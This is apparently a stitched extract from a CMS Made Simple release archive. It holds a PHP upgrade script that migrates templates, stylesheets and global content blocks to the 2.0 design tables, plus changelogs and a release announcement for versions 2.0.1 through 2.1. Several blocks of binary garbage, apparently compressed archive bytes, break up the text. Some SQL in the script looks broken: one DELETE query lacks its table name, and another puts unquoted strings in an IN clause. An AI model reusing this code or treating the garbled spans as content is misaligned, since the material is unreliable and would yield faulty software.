$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'idx_smp_module', CMS_DB_PREFIX."module_smarty_plugins", 'module');
$return = $dbdict->ExecuteSQLArray($sqlarray);

verbose_msg('updating structure of the permissions table');
$sqlarray = $dbdict->AddColumnSQL(CMS_DB_PREFIX.'permissions','permission_source C(255)');
$return = $dbdict->ExecuteSQLArray($sqlarray);

verbose_msg('add index to user groups table');
$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'idx_ug_keys', CMS_DB_PREFIX.'user_groups ','group_id, user_id',array('UNIQUE'));
$return = $dbdict->ExecuteSQLArray($sqlarray);

verbose_msg('deleting old events');
$tmp = array('AddGlobalContentPre','AddGlobalContentPost','EditGlobalContentPre','EditGlobalContentPost',
         'DeleteGlobalContentPre','DeleteGlobalContentPost','GlobalContentPreCompile','GlobalContentPostCompile',
         'ContentStylesheet');
$query = 'DELETE FROM '.CMS_DB_PREFIX.'events WHERE originator = \'Core\' AND event_name IN ('.implode(',',$tmp).')';
$return = $db->Execute($query);

// create new events
verbose_msg('creating new events');
Events::CreateEvent('Core','AddTemplateTypePre');
Events::CreateEvent('Core','AddTemplateTypePost');
Events::CreateEvent('Core','EditTemplateTypePre');
Events::CreateEvent('Core','EditTemplateTypePost');
Events::CreateEvent('Core','DeleteTemplateTypePre');
Events::CreateEvent('Core','DeleteTemplateTypePost');
Events::CreateEvent('Core','AddDesignPre');
Events::CreateEvent('Core','AddDesignPost');
Events::CreateEvent('Core','EditDesignPre');
Events::CreateEvent('Core','EditDesignPost');
Events::CreateEvent('Core','DeleteDesignPre');
Events::CreateEvent('Core','DeleteDesignPost');

// create new tables
verbose_msg('create table '.CmsLayoutTemplateType::TABLENAME);
$flds = "
         id I KEY AUTO,
         originator C(50) NOTNULL,
         name C(100) NOTNULL,
         has_dflt I1,
         dflt_contents X2,
         description X,
         lang_cb     C(255),
         dflt_content_cb C(255),
         requires_contentblocks I1,
         owner   I,
         created I,
         modified I";
$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX.CmsLayoutTemplateType::TABLENAME, $flds, $taboptarray);
$return = $dbdict->ExecuteSQLArray($sqlarray);

$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'idx_layout_tpl_type_1', CMS_DB_PREFIX.CmsLayoutTemplateType::TABLENAME, 'originator,name', array('UNIQUE'));
$return = $dbdict->ExecuteSQLArray($sqlarray);

verbose_msg('create table '.CmsLayoutTemplateCategory::TABLENAME);
$flds = "
         id I KEY AUTO,
         name C(100) NOTNULL,
         description X,
         item_order X,
         modified I";
$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX.CmsLayoutTemplateCategory::TABLENAME, $flds, $taboptarray);
$return = $dbdict->ExecuteSQLArray($sqlarray);
$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'idx_layout_tpl_cat_1', CMS_DB_PREFIX.CmsLayoutTemplateCategory::TABLENAME,
                                    'name',array('UNIQUE'));
$return = $dbdict->ExecuteSQLArray($sqlarray);

verbose_msg('create table '.CmsLayoutTemplate::TABLENAME);
$flds = "
         id I KEY AUTO,
         name C(100) NOTNULL,
         content X2,
         description X,
         type_id I NOTNULL,
         type_dflt I1,
         category_id I,
         owner_id I NOTNULL,
         created I,
         modified I";
$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX.CmsLayoutTemplate::TABLENAME, $flds, $taboptarray);
$return = $dbdict->ExecuteSQLArray($sqlarray);

$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'idx_layout_tpl_1', CMS_DB_PREFIX.CmsLayoutTemplate::TABLENAME, 'name',array('UNIQUE'));
$return = $dbdict->ExecuteSQLArray($sqlarray);

$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'idx_layout_tpl_2', CMS_DB_PREFIX.CmsLayoutTemplate::TABLENAME, 'type_id,type_dflt');
$return = $dbdict->ExecuteSQLArray($sqlarray);

verbose_msg('create table '.CmsLayoutStylesheet::TABLENAME);
$flds = "
         id I KEY AUTO,
         name C(100) NOTNULL,
         content X2,
         description X,
         media_type C(255),
         media_query X,
         created I,
         modified I";
$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX.CmsLayoutStylesheet::TABLENAME, $flds, $taboptarray);
$return = $dbdict->ExecuteSQLArray($sqlarray);
$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'idx_layout_css_1',CMS_DB_PREFIX.CmsLayoutStylesheet::TABLENAME, 'name', array('UNIQUE'));
$return = $dbdict->ExecuteSQLArray($sqlarray);

verbose_msg('create table '.CmsLayoutTemplate::ADDUSERSTABLE);
$flds = "
         tpl_id I KEY,
         user_id I KEY
        ";
$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX.CmsLayoutTemplate::ADDUSERSTABLE, $flds, $taboptarray);
$return = $dbdict->ExecuteSQLArray($sqlarray);

verbose_msg('create table '.CmsLayoutCollection::TABLENAME);
$flds = "
         id   I KEY AUTO,
         name C(100) NOTNULL,
         description X,
         dflt I1,
         created I,
         modified I
        ";
$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX.CmsLayoutCollection::TABLENAME, $flds, $taboptarray);
$return = $dbdict->ExecuteSQLArray($sqlarray);
$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'idx_layout_dsn_1',CMS_DB_PREFIX.CmsLayoutCollection::TABLENAME, 'name', array('unique'));
$dbdict->ExecuteSQLArray($sqlarray);


verbose_msg('create table '.CmsLayoutCollection::TPLTABLE);
$flds = "
         design_id I KEY NOTNULL,
         tpl_id   I KEY NOTNULL
        ";
$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX.CmsLayoutCollection::TPLTABLE, $flds, $taboptarray);
$return = $dbdict->ExecuteSQLArray($sqlarray);
$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'index_dsnassoc1', CMS_DB_PREFIX.CmsLayoutCollection::TPLTABLE, 'tpl_id');
$return = $dbdict->ExecuteSQLArray($sqlarray);

verbose_msg('create table '.CmsLayoutCollection::CSSTABLE);
$flds = "
         design_id I KEY NOTNULL,
         css_id   I KEY NOTNULL,
         item_order I NOTNULL
        ";
$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX.CmsLayoutCollection::CSSTABLE, $flds, $taboptarray);
$return = $dbdict->ExecuteSQLArray($sqlarray);

verbose_msg('create table '.CmsLock::LOCK_TABLE);
$flds = "
         id I AUTO KEY NOTNULL,
         type C(20) NOTNULL,
         oid  I NOTNULL,
         uid  I NOTNULL,
         created I NOTNULL,
         modified I NOTNULL,
         lifetime I NOTNULL,
         expires  I NOTNULL
        ";
$sqlarray = $dbdict->CreateTableSQL(CMS_DB_PREFIX.CmsLock::LOCK_TABLE, $flds, $taboptarray);
$return = $dbdict->ExecuteSQLArray($sqlarray);

$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'index_locks1', CMS_DB_PREFIX."locks", 'type,oid', array('UNIQUE'));
$return = $dbdict->ExecuteSQLArray($sqlarray);

$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'index_locks2', CMS_DB_PREFIX."locks", 'expires');
$return = $dbdict->ExecuteSQLArray($sqlarray);

$sqlarray = $dbdict->CreateIndexSQL(CMS_DB_PREFIX.'index_locks3', CMS_DB_PREFIX."locks", 'uid');
$return = $dbdict->ExecuteSQLArray($sqlarray);

// create initial types.
$page_template_type = $gcb_template_type = null;
for( $tries = 0; $tries < 2; $tries++ ) {
    try {
        $page_template_type = CmsLayoutTemplateType::load(CmsLayoutTemplateType::CORE.'::page');
        $gcb_template_type = CmsLayoutTemplateType::load(CmsLayoutTemplateType::CORE.'::generic');
        break;
    }
    catch( \CmsDataNotFoundException $e ) {
        // we insert the records manually... because later versions of the template type
        // add different columns... and the save() method won't work.
        verbose_msg('create initial template types');

        $contents = \CmsTemplateResource::reset_page_type_defaults();
        $sql = 'INSERT INTO '.CMS_DB_PREFIX.\CmsLayoutTemplateType::TABLENAME.' (originator,name,has_dflt,dflt_contents,description,
                    lang_cb, dflt_content_cb, requires_contentblocks, owner, created, modified)
                VALUES (?,?,?,?,?,?,?,?,?,UNIX_TIMESTAMP(),UNIX_TIMESTAMP())';
        $dbr = $db->Execute( $sql, [ \CmsLayoutTemplateType::CORE, 'page', TRUE, $contents, null,
                                     serialize('CmsTemplateResource::page_type_lang_callback'),serialize('CmsTemplateResource::reset_page_type_default'), TRUE, null ] );
        $contents = null;
        $dbr = $db->Execute( $sql, [ \CmsLayoutTemplateType::CORE, 'generic', FALSE, null, null,
                                     serialize('CmsTemplateResource::generic_type_lang_callback'), null, FALSE, null ] );
    }
} // tries

    /*
    // if we got here.... the type does not exist.
    $page_template_type = new CmsLayoutTemplateType();
    $page_template_type->set_originator(CmsLayoutTemplateType::CORE);
    $page_template_type->set_name('page');
    $page_template_type->set_dflt_flag(TRUE);
    $page_template_type->set_lang_callback('CmsTemplateResource::page_type_lang_callback');
    $page_template_type->set_content_callback('CmsTemplateResource::reset_page_type_defaults');
    $page_template_type->reset_content_to_factory();
    $page_template_type->set_content_block_flag(TRUE);
    $page_template_type->save();

    $gcb_template_type = new CmsLayoutTemplateType();
    $gcb_template_type->set_originator(CmsLayoutTemplateType::CORE);
    $gcb_template_type->set_name('generic');
    $gcb_template_type->set_lang_callback('CmsTemplateResource::generic_type_lang_callback');
    $gcb_template_type->save();
    */
if( !is_object($page_template_type) || !is_object($gcb_template_type) ) {
    error_msg('The page template type and/or GCB template type could not be found or created');
    throw new \LogicException('This is bad');
}

$_fix_name = function($str) {
    if( CmsAdminUtils::is_valid_itemname($str) ) return $str;
    $orig = $str;
    $str = trim($str);
    if( !CmsAdminUtils::is_valid_itemname($str[0]) ) $str[0] = '_';
    for( $i = 1; $i < strlen($str); $i++ ) {
        if( !CmsAdminUtils::is_valid_itemname($str[$i]) ) $str[$i] = '_';
    }
    for( $i = 0; $i < 5; $i++ ) {
        $in = $str;
        $str = str_replace('__','_',$str);
        if( $in == $str ) break;
    }
    if( $str == '_' ) throw new \Exception('Invalid name '.$orig.' and cannot be corrected');
    return $str;
};

$_fix_css_name = function($str) {
    // stylesheet names cannot end with .css and must be unique
    if( !endswith($str,'.css') && CmsAdminUtils::is_valid_itemname($str) ) return $str;
    $orig = $str;
    $str = trim($str);
    if( !CmsAdminUtils::is_valid_itemname($str[0]) ) $str[0] = '_';
    for( $i = 1; $i < strlen($str); $i++ ) {
        if( !CmsAdminUtils::is_valid_itemname($str[$i]) ) $str[$i] = '_';
    }
    for( $i = 0; $i < 5; $i++ ) {
        $in = $str;
        $str = str_replace('__','_',$str);
        if( $in == $str ) break;
    }
    if( $str == '_' ) throw new \Exception('Invalid name '.$orig.' and cannot be corrected');
    return $str;
};

$fix_template_name = function($in) use (&$db,&$_fix_name) {
    // template names have to be unique and cannot end with .tpl
    if( endswith($in,'.tpl') ) $in = substr($in,0,-4);
    $in = $_fix_name($in);
    $name = CmsLayoutTemplate::generate_unique_name($in);
    if( $name != $in ) {
        error_msg('Template named '.$in.' conflicted with an existing template, new name is '.$name);
    }
    return $name;
};

// read gcb's and convert them to templates.
// note: we directly write the the CmsLayoutTemplate table instead of using the CmsLayoutTemplate API because
// the database structure changed between 2.0 and 2.1 (listable column) and the CmsLayoutTemplate class relies on a listable colum which may
// not yet exist.
verbose_msg('convert global content blocks to generic templates');
$query = 'SELECT * FROM '.CMS_DB_PREFIX.'htmlblobs';
$sql2 = 'INSERT INTO '.CMS_DB_PREFIX.CmsLayoutTemplate::TABLENAME.' (name,content,description,type_id,type_dflt,owner_id,created,modified) VALUES (?,?,?,?,0,?,UNIX_TIMESTAMP(),UNIX_TIMESTAMP())';
$gcblist = null;
$tmp = $db->GetArray($query);
if( is_array($tmp) && count($tmp) ) {
    // for each gcb, come up wit a new name and if the new name does not exist in the database, create a new template by that name.
    foreach( $tmp as $gcb ) {
        $new_name = $fix_template_name($gcb['htmlblob_name']);
        try {
            $template = CmsLayoutTemplate::load($new_name);
            // nothing here, template with this name exists.
        }
        catch( \CmsDataNotFoundException $e ) {
            $db->Execute($sql2,array($new_name,$gcb['html'],$gcb['description'],$gcb_template_type->get_id(),$gcb['owner']));
            $gcb['template_id'] = $db->Insert_ID();
            $gcblist[$gcb['htmlblob_id']] = $gcb;
        }
    }

    if( count($gcblist) ) {
        // process all of the additional owners, and sort them into an array of uids, one array for each gcb.
        $query = 'SELECT * FROM '.CMS_DB_PREFIX.'additional_htmlblob_users';
        $tmp = $db->GetArray($query);
        if( is_array($tmp) && count($tmp) ) {
            $users = array();
            foreach( $tmp as $row ) {
                $htmlblob_id = $row['htmlblob_id'];
                $uid = (int)$row['user_id'];
                if( $uid < 1 ) continue;
                if( !isset($gcblist[$htmlblob_id]) ) continue;
                if( $uid == $gcblist[$htmlblob_id]['owner'] ) continue;
                if( !isset($users[$htmlblob_id]) ) $users[$htmlblob_id] = array();
                $users[$htmlblob_id][] = (int)$row['user_id'];
            }
        }

        // now insert the additional editors directly into the database
        $sql3 = 'INSERT INTO '.CMS_DB_PREFIX.CmsLayoutTemplate::ADDUSERSTABLE.' (tpl_id, user_id) VALUES (?,?)';
        foreach( $gcblist as $htmlblob_id => $gcb ) {
            if( !isset($users[$htmlblob_id]) ) continue;
            foreach( $users[$htmlblob_id] as $add_uid ) {
                $db->Execute($sql3,array($gcb['template_id'],$add_uid));
            }
        }
    }
}
unset($gcblist,$tmp);

verbose_msg('dropping gcb related tables...');
$sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX.'additional_htmlblob_users_seq');
$dbdict->ExecuteSQLArray($sqlarray);
$sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX.'additional_htmlblob_users');
$dbdict->ExecuteSQLArray($sqlarray);
$sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX.'htmlblobs_seq');
$dbdict->ExecuteSQLArray($sqlarray);
$sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX.'htmlblobs');
$dbdict->ExecuteSQLArray($sqlarray);

verbose_msg('converting stylesheets');
$query = 'SELECT * FROM '.CMS_DB_PREFIX.'css';
$tmp = $db->GetArray($query);
if( is_array($tmp) && count($tmp) ) {
  $css_list = array();
  foreach( $tmp as $row ) {
      $new_name = $_fix_css_name($row['css_name']);
      if( $new_name != $row['css_name']) verbose_msg("Rename stylesheet ".$row['css_name']." to $new_name");
      try {
          $tmp = CmsLayoutStylesheet::load($new_name);
      }
      catch( \CmsLogicException $e ) {
          $css_id = $row['css_id'];
          $stylesheet = new CmsLayoutStylesheet();
          $stylesheet->set_name($new_name);
          $stylesheet->set_content($row['css_text']);
          $stylesheet->set_description('CMSMS Upgraded on '.$db->DbTimeStamp(time()));
          $stylesheet->set_media_types($row['media_type']);
          $stylesheet->set_media_query($row['media_query']);
          $stylesheet->save();

          $row['css_obj'] = $stylesheet;
          $csslist[$row['css_id']] = $row;
      }
  }
}
unset($tmp);

verbose_msg('converting page templates');
// todo: handle stylesheets that are orphaned
@ini_set('display_errors',1);
@error_reporting(E_ALL);


$tpl_query = 'SELECT * FROM '.CMS_DB_PREFIX.'templates';
$tpl_insert_query = 'INSERT INTO '.CMS_DB_PREFIX.CmsLayoutTemplate::TABLENAME.' (name,content,description,type_id,type_dflt,owner_id,created,modified) VALUES (?,?,?,?,?,?,UNIX_TIMESTAMP(),UNIX_TIMESTAMP())';
$css_assoc_query = 'SELECT * FROM '.CMS_DB_PREFIX.'css_assoc WHERE assoc_to_id = ? ORDER BY assoc_order ASC';
$tmp = $db->GetArray($tpl_query);
$template_list = array();
if( is_array($tmp) && count($tmp) ) {
    foreach( $tmp as $row ) {
        $row['template_name'] = $fix_template_name($row['template_name']);
        $is_default = (int) $row['default_template'];

        // create the design (one design per page template)
        $tpl_id = $row['template_id'];
        $design = new CmsLayoutCollection();
        $design->set_name($row['template_name']);
        $design->set_description('CMSMS Upgraded on '.$db->DbTimeStamp(time()));
        $design->set_default($is_default);
        $design->save(); // the design will now have an id.
        verbose_msg('created design '.$design->get_name());

        // create the template
        $db->Execute($tpl_insert_query,array($row['template_name'],$row['template_content'],'',$page_template_type->get_id(),
                                $is_default,1));
        $new_tpl_id = $db->Insert_ID();
        $design->add_template($new_tpl_id);
        $design->save(); // save the design again.

        $row['new_tpl_id'] = $new_tpl_id;
        $row['new_design_id'] = $design->get_id();
        $template_list[$tpl_id] = $row;
        verbose_msg('created template '.$row['template_name']);

        // get stylesheet(s) attached to this template
        // and associate them with the design.
        $associations = $db->GetArray($css_assoc_query,array($row['template_id']));
        if( is_array($associations) && count($associations) ) {
            foreach( $associations as $assoc ) {
                $css_id = $assoc['assoc_css_id'];
                if( !isset($csslist[$css_id]) ) continue;
                $design->add_stylesheet($csslist[$css_id]['css_obj']);
            }
            verbose_msg('associated '.count($associations).' stylesheets with the design');
            $design->save();
        }
    }
}
unset($tmp);

verbose_msg('adjusting pages');
$query = 'SELECT content_id,template_id,content_alias FROM '.CMS_DB_PREFIX.'content WHERE template_id > 0';
$uquery = 'UPDATE '.CMS_DB_PREFIX.'content SET template_id = ? WHERE content_id = ?';
$iquery = 'INSERT INTO '.CMS_DB_PREFIX.'content_props (content_id,type,prop_name,content,create_date,modified_date) VALUES (?,?,?,?,NOW(),NOW())';
$content_rows = $db->GetArray($query);
$contentops = ContentOperations::get_instance();
if( is_array($content_rows) && count($content_rows) ) {
    foreach( $content_rows as $row ) {
        if( $row['template_id'] < 1 ) continue;
        $content_id = $row['content_id'];

        $tpl_id = (int) $row['template_id'];
        if( !isset($template_list[$tpl_id]) ) {
            error_msg('ERROR: The page '.$row['content_alias'].' Refers to a template with id '.$tpl_id.' That was not found in the database');
            continue;
        }
        $tpl_row = $template_list[$tpl_id];
        if( !isset($tpl_row['new_tpl_id']) ) {
            error_msg("could not find map to new template for template $tpl_id on page $content_id");
            continue;
        }

        // because we create a new design on upgrade for each page template thre can be only one design
        $design_id = $tpl_row['new_design_id'];
        $tpl_id = $tpl_row['new_tpl_id'];

        $db->Execute($uquery,array($tpl_id,$content_id));
        $db->Execute($iquery,array($content_id,'string','design_id',$design_id));
        verbose_msg('adjusted page '.$row['content_alias']);
  }
}

verbose_msg('dropping old template tables');
$sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX.'templates');
$dbdict->ExecuteSQLArray($sqlarray);
$sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX.'templates_seq');
$dbdict->ExecuteSQLArray($sqlarray);
$sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX.'css_assoc');
$dbdict->ExecuteSQLArray($sqlarray);
$sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX.'css');
$dbdict->ExecuteSQLArray($sqlarray);
$sqlarray = $dbdict->DropTableSQL(CMS_DB_PREFIX.'css_seq');
$dbdict->ExecuteSQLArray($sqlarray);

verbose_msg('uninstalling theme manager');
$modops = ModuleOperations::get_instance();
$modops->UninstallModule('ThemeManager');

verbose_msg('upgrading cms_groups table');
$sqlarray = $dbdict->AddColumnSQL('`'.CMS_DB_PREFIX.'groups`','group_desc C(255)');
$dbdict->ExecuteSQLArray($sqlarray);

verbose_msg('Remove the CMSPrinting module from the database');
$query = 'DELETE FROM '.CMS_DB_PREFIX.'modules WHERE module_name = ?';
$db->Execute($query,array('CMSPrinting'));

verbose_msg('Creating print UDT');
$txt = <<<EOT
echo '<!-- print tag removed in CMS Made Simple 2.0.  -->';
EOT;
UserTagOperations::get_instance()->SetUserTag('print',$txt,'Stub function to replace the print plugin');

$sql = 'SELECT username FROM '.CMS_DB_PREFIX.'users WHERE user_id = 1';
$un = $db->GetOne($sql);
if( $un ) {
    // make sure that if we have a user with id=1 that this user is in the admin (gid=1) group
    // as 2.0 now does not magically check uid's just gid's for admin access.
    try {
        $sql = 'INSERT INTO '.CMS_DB_PREFIX.'user_groups (group_id,user_id) VALUES (1,1)';
        $db->Execute($sql);
    }
    catch( \Exception $e ) {
        // this can throw an exception, if the user is already in this group... let it.
    }
}

verbose_msg(ilang('reset_user_settings'));
$query = 'DELETE FROM '.CMS_DB_PREFIX.'userprefs WHERE preference = ?';
$db->Execute($query,array('admintheme'));
$db->Execute($query,array('collapse'));
$db->Execute($query,array('wysiwyg'));

verbose_msg(ilang('reset_site_preferences'));
$query = 'DELETE FROM '.CMS_DB_PREFIX.'WHERE sitepref_name = ?';
$db->Execute($query,array('logintheme'));

verbose_msg(ilang('queue_for_upgrade','CMSMailer'));
\ModuleOperations::get_instance()->QueueForInstall('CMSMailer');

verbose_msg(ilang('upgrading_schema',200));
$query = 'UPDATE '.CMS_DB_PREFIX.'version SET version = 200';
$db->Execute($query);

status_msg('done upgrades for 2.0');
?>
Version 2.0.1 - Adelaide
----------------------------------
Core - General
- Improved optimization in ContentOperations::SetAllHierarchyPositions.
- Fixed return type of ContentOperations::GetPageIdFromAlias().
- Help for the {cms_html_options} plugin.
- Change the default page template to use {Navigator}.
- Explicitly force $smarty->fetch() to create a new template, and therefore a new scope. Keep track of scopes in a stack.
- Change prototype to CMSModule::DoActionBase to pass in the current template object.
- SITENAME is now assigned as a Smarty global.
  (fixes some variable scope issues)
- Fix problem with changing content types.
- Fix problem with CmsLayoutTemplateQuery wrt the editable option, that generated an SQL error.
  (resolves problems where people have additional editor access to templates, but no other design manager permissions).
- Fix minor JavaScript errors in plugin (error checking).
- Fix problems where If assign was passed to a {content} tag, do not pass it to the module on a mact request.
- Implements the completely forgotten 403 exception stuff and the IsPermitted content method.
- Improve the cmsms_dirtyform jQuery plugin to support the unload handler and an onUnload callback.
- Fixed the jQuery page selector plugin when the current value points to an invalid page,  and fixes for asynchronous Ajax.
- Adds a globally available cms_busy() JavaScript function for the Admin.
- Fix problem with html entitites in email addresses in user settings.
- Fix problem with {content cssname=string} and quotes.
- Chaged cmsms plugins to use $smarty->getTemplateVars() instead of $smarty->get_template_vars() because of scope issues.
- Minor fix to {form_start} when not used in a module.
- Improved error handling for cms_stylesheet.  Now will generate a message in the admin log, and an html comment on error.
- Minor fixes for module provided content blocks for Content type pages.

CMSContentManager v1.0.1
- Fixes for changing content types.
- Adds a title for some contextual help if a template is not available for a content item.
- Clear any locks if an exception occurred while submitting a content item.
- Improvements to error handling with apply and preview.
- Content list now refreshes every 30 seconds to display up-to-date lock information.

DesignManager v1.0.1
- Clear the type_default flag when copying a template.
- Clear any locks if an exception occurred while submitting a template.
- Clear any locks if an exception occurred while submitting a stylesheet.
- Template and stylesheet lists now refresh every 30 seconds to display up-to-date lock information.
- Fixes for design exporting templates with protocol-less URLs in them.

MenuManager v1.50.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).

Navigator v1.0.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).
- Minor change to the help ($node->children_exist)

Search v1.50.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).

News v2.50.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).
- Fix problem with custom fields not being assigned in fesubmit.
- Fix minor problem with html entities in the detailtempalte parameter.

FileManager v1.5.1
- Fix minor problem with Smarty scope in the drop zone.
     VrHWF'Q2Uqf. vXD*l9%F\D$ z|9xijC%woo?,&vj^-O7'fS8yunIi@!E|Nզ]Cp>Շof݆W*sH9&P!Պ9~]u4[w=OaC0ALLx"[De)'
7l=фPkiKƒ9VO^aKNl7l?%(%	qȞK'lkϱ ^
I }OE|aw
7QR8#B6sڹmX@МH.<-ώ6߼߆97saXR4B!7M'AUvΡgoʥ ^-zXi5Jo{QYSnsAֻ#Jm1uhJp9H(y25XZiֈ-N9e@{ÚFm"L
HRoq"]a5ABvJxj@H
}=N+=nib<W:<E$+:
Eg*LڐQ,DPuh펧`sYSFAJ톧0"UePs*bR`]n~64V'}i!f8cm!iLN/حFCƨDoJm	.f[2 [tj%ZnFU#"#~.8JV/QϺi`+_{aMx1%j|jX$՞kLM`m.8$"tjk9Ƨ˅$J\Z¤:Jw/SȅIg7E(7F2N
%mu̲z@Q$P	TuG{s
/=3!u=ZZV}c*e(Ulf/9>@]`*7hz {ni]pX#Yvm   SY
  Announcing CMSMS 2.0.1 - Adelaide
----------------------

We knew that shortly after releasing 2.0, regardless of how many months we were in beta, we would be creating bug-fix releases.   This is because the number of users who actually use the system increase when you remove the 'beta' or 'release candidate' suffixes.  Therefore, more issues are reported that need to be fixed.  CMSMS 2.0.1 - Adelaide is the first of those bug fix releases.

The bugs fixed in this release are important to almost everybody, they will affect upgrading, modules, templates, and users.   Therefore, we encourage you to upgrade your CMSMS 2.0 sites as soon as possible.

Some of the issues fixed in this release include
- Template, Stylesheet, and Content Locking
  We fixed numerous page locking issues with respect to different browsers and handling of unloading pages and various things.
  We also changed the respective template, stylesheet, and content lists to automatically refresh every 30 seconds so that they will show your locks properly.  This will help to solve problems with people who keep multiple tabs open.

- Smarty Scope
  Numerous issues with respect to passing Smarty variables from parent templates to child templates were attacked and solved.

- The new page selector
  Issues related to the new page-selector jQuery plugin were resolved.

- Editing templates with restricted permissions
  We solved a few relatively minor issues which occurred when a user had only 'additional-editor' access to a template, but nothing more.

- Implement the missing 403 error handler page type.
  We re-merged some changes from the 1.11.13 release that did not make it into 2.0 with respect to handling 403 (permission denied) errors.

- More
There are lots of issues that were fixed in this release... you can find more details about them by viewing the changelog that is included with your install after upgrading.   You can also see the changelog before upgrading from within the installation assistant.

- Installation Assistant
The installation assistant also got a few minor tweaks for this release.  Most of those tweaks are just related to displaying more useful messages.

Supported Versions
--------
At this time, the CMSMS Dev team will support general issues in CMSMS 2.0 and CMSMS 2.0.1.
CMSMS 1.12.1 will be supported with respect to absolutely critical bugs, and security issues until September 6, 2016.

Thanks:
--------
We would like to thank all of the people that reported issues to us, and made it easy for us to reproduce and therefore fix the issues.  The Dev Team has worked hard to test, re-test and document each and every issue.
<?php

set_time_limit(90);
$dn = $destdir.'/admin/themes/default';
if( is_dir($dn) ) {
    status_msg('Making sure that default admin theme gets removed (it causes problems)');
    \__appbase\utils::rrmdir($dn);
}
status_msg('done upgrades for 2.0.1');
v2.0.1.1
--------
Fix to the $this->smarty magic method in the module class to resolve to the 
action template or the global smarty.
     \  =OpSKl-?|ii\5-(QlI DHyJ);J2FhJ hv|Ýw<KSX1N`]3l~>8tQ7z1DuX 
I<u;	duen   `  Version 2.1 - Bahamas
----------------------------------
Core - General
- Minor performance tweaks to sample htaccess.txt
- Minor fix to the ProcessTemplateFromDatabase module API method.
- Improvements and re-factor the way headers are sent wrt caching
- Add a new method to the ModuleOperations class to allow a module to be within a namespace.
- Enhances the Group class.
- Enhancements and fixes to the cms_url class.
- Modified the $mod->smarty reference to be smarter... it is now deprecated.
- Fixes issue with https requests (#10697)
- Modifies The CmsLayoutTemplate class and CmsLayoutTemplateQuery to allow filtering on listable or non listable
  or setting a template as listable (default) or non listable
- Fixes a problem with styling of the login form if tasks must be run AND a module needs upgrading.
- Fixes to the cloning of templates in CmsLayoutTemplate
- Fixes problem with SetAllHierarchyPositions that cleared the entire cache instead of only the necessary part of it.
- Adds the unloadCancel handler to the lockManager jquery plugin.
- Moves version.php and include.php inside the lib directory so that they are easier to protect from unwanted direct access.
- Fixes to page alias tests when manually entering a page alias.
- Missing language strings are no longer output to Admin log, but to the debug log.
- Requests for modules that are not installed/enabled, or for invalid actions will now result in 404 errors.
- Fixed problem where restricted content editors could implicitly change the page alias.
- Improvements to the system information page, particularly the bbcode output.
- cms_init_editor, form_start, and cms_action_url plugins are no longer cachable.
- Adds the 'adminonly' option to the {content}, {content_image}, and {content_module} tags to allow only members of the 'Admin' group to manipulate the values of that block.
- Add a trivial check to the sitedown message to make sure that it is not empty.
- Minor fixes for PHP 7

MicroTiny v2.0.2
- Now add page hierarchy to autocomplete text when using the linker.
- Now use $smarty->CreateTemplate for clarity when compling the config template
- Now explicitly assign urls so that they do not get caced by smarty.
- Slightly tweak the default HTML content in the example tab.
- Updated tinymce to the latest 4.2.7 version, included the 'paste' plugin, and turned on 'paste_as_text'.
- Added the ability to enable the table plugin, now distribute the table plugin

CMSContentManager v1.0.2
- Fix problem with pagedefault metadata.
- Fixes for handling no listable templates for a design
- More work with locking.  With only one exception all locking and unlocking is initiated via javascript.
- Minor fix to copycontent

DesignManager v1.1
- Adds ability to toggle the listability of a template.
- Fixes problems with lost changes if there is a syntax error in the template.
- More work with locking.  With only one exception all locking and unlocking is initiated via javascript.

News v2.50.3
- Fixes minor issue with pagination in News admin console.
- Fix errors in the default form template.
- Fixed URL to long issues on redirection after adding/editing article.

Search v1.50.2
- Minor PHP7 fixes.

ModuleManager 2.0.1
- Minor fix to which modules could be uninstalled and deactivated.
     Zr[G}Y[7/j#,+#++ ͿS  Dc""fVee^O|7?}o}7ol%`rǻˇwo/7\{o߽ӛ~x~=`'?~x[~7on+e*Y5\3-d~k%MVHbv؆隥l^~ݵηPYkbIJt%Vlwٌ ׺7z;a%&VmDct:ܬxj~3f}O9&K6Cz>l1\im!Ɋ`{Lj)Ykm^ru_U}𙢶l%gWI?rK]\8_|NIRz,ͦZ}uqd뵮w?/ֺ@w3z5%
!Z)E#I S:X[]$]I3Zm:i).]lN6^CzWSE$غg"^w'w1p8q"zWjEKO>S*V*Kɑi,B!~˻ͯ;]oRla^$)zݹ]a_^ܕm.j BS㫞[ͲеGb[`")yG	Ej.HUwmOj\Ji.^lM0RdJqo<*?QmE_'i)^K%@_L^m?ܭf-3iFL tٲgCvB{4WnϓasH9Mk1
FM;`wWj3^>SfC
